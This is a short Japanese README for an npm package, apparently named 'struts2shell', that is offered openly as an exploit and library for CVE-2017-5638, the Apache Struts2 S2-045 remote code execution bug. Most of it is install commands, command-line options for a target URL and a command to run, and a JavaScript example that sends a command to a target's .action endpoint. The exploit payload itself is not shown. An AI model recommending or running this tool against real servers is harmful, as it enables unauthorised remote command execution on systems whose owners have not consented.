
CVE-2017-5638(Apache Struts2 S2-045バグ)向けのエクスプロイト(およびライブラリ)です。
CVE-2017-5638 - Apache Struts2 S2-045 バグのためのエクスプロイト(およびライブラリ)です。
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help 使用方法を出力
-V, --version バージョン番号を出力
-u, --url [target] 攻撃対象のURL
-c, --cmd [command] 実行するコマンド
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
フリーソフトウェア、最高だぜ!